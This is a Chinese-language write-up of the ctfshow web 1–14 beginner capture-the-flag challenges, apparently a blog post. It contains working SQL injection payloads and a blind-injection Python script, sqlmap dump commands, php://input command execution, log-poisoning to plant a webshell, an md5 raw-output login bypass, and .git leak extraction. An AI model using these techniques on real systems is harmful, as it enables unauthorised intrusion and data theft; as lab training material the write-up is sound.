ctfshow web1-14 萌新赛wp

WEB 1

F12查看源代码,发现一串base64

直接解码获得flag

ctfshow{c6111612-f415-4de3-b17a-4eb6113db4ea}

WEB 2

第一种解法

尝试常见的弱口令admin/admin/admin123等无反应

使用万能密码拿到回显

# 账号输入,密码为空
1' or 1=1 #
# 使用order by 测出行数为3
1' or 1=1 order by 3#
# 发现回显为2
1' or 1=1 union select 1,2,3#
# 库名为web2
1' or 1=1 union select 1,database(),3#
# 爆破表名为flag,user
1' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();#
# 爆破字段
1' or '1'='1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#
# 爆破flag
1' or '1'='1' union select 1,group_concat(flag),3 from flag#
第二种解法

输入账号密码进行抓包,

将抓包到的内容保存至1.txt

使用sqlmap跑结果

sudo sqlmap -r 1.txt --dbs --batch

sudo sqlmap -r 1.txt -D web2 --tables --batch

sudo sqlmap -r 1.txt -D web2 -T flag --columns --batch

sudo sqlmap -r 1.txt -D web2 -T flag --dump --batch

WEB 3

根据题目可使用伪协议

https://xxx/?url=php://input

抓包后在重发器可输入php代码

<?php system("ls");?> # 发现ctf_go_go_go

<?php system("cat ctf_go_go_go");?> # 爆破flag

WEB 4

尝试伪协议报错

?url=/var/log/nginx/access.log # 查看nginx日志成功

抓包在User-Agent写入一句话木马

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

使用蚁剑连接后门获得flag

WEB 5

代码检查v1是否为字母,v2是否为数字

如果v1和v2的md5相等则输出flag

百度相同的md5传入获得flag

WEB 6

经过测试发现题目过滤了空格,使用/**/绕过空格,其余与WEB 2解法相同

WEB 7

经过测试,同样仅过滤了空格,同WEB 2

WEB 8

经过测试,发现过滤很多,学习借鉴别的师傅写出的python脚本试试

import requests

url = 'https://c3dbda6f-8655-422c-b7d3-77a7cc2ed3f3.challenge.ctf.show/index.php?id=-1/**/or/**'
name = ''

for i in range(1,45):
    #获取数据库
    #payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'

    #获取表名
    #payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'

    #获取字段名
    #payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag")from/**/%d/**/for/**/1))=%d'

    #获取flag
    #payload = 'ascii(substr((select/**/group_concat(flag)/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
    
    count = 0
    print('正在爆破第%d位'%i)

    for j in range(31,128):
        result = requests.get(url+payload%(i,j))

        if 'If' in result.text:
            name += chr(j)
            print("当前爆破结果为:"+name)
            break

        count += 1
        if count >= (128-31):
            print('爆破失败')
            exit(0)

WEB 9

手工尝试SQL注入未果,抓包保存为txt丢给sqlmap同样未果

进行目录爆破,发现robots.txt

打开robots.txt发现index.phps

打开后下载出一段代码




<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						 echo "登陆成功<br>";
						 echo $flag;
					 }
			}
    ?>


在多次尝试未果后翻看了别的师傅的wp,

ffifdyop 的MD5加密结果是 276f722736c95d99e921722cf9ed621c

经过MySQL编码后会变成’or’6xxx,使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密

输如ffifdyop获得flag

WEB 10

这题不会做

观看网上的wp知道

username=admin’//or//1=1//group//by//password//with/**/rollup#&password=

WEB 11

根据源代码可知,只需password与session相等即可

直接抓包将sesssion改为空即可

web 12

F12查看源代码发现注入关键词为cmd

phpinfo(); # 有回显证明有注入漏洞

print_r(glob('*')); # 发现有两个文件

highlight_file('xxx.php'); # 高亮函数打开php获得flag

web 13

不会

web14

一个个试到3弹出登录界面

尝试sqlmap未果

查看源代码发现过滤

-1/**/or/**/true # 寻找注入点
-1/**/or/**/flase
-1/**/or/**/true/**/order/**/by/**/2 # 出错
-1/**/or/**/true/**/order/**/by/**/1 # 正确

-1/**/union/**/select/**/1
-1/**/union/**/select/**/database() # 爆库名

-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web' # 爆表名

-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content' # 爆字段无反应

看wp发现不知道为什么没回显,回显在源代码里

-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content # 爆数据

1adminflag is not here!,2gtf1ywow,you can really dance,3Wowtell you a secret,secret has a secret…

-1/**/union/**/select/**/load_file('/real_flag_is_here')

给她

根据题目暗示,应该是git泄露

目录爆破
sudo dirb http://xxx # 找到xxx/.git

使用githack下载源代码
sudo python2 GitHack.py https://xxx/.git

查看出现

<? php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>

获得注入点,尝试注入发现报错

查看wp

抓包发现file里有一串16进制

解码为flag.txt

改为file:/flag

获得flag

签到题

爆破目录发现/flag

直接下载获得flag

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

玛卡巴卡的大推车

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值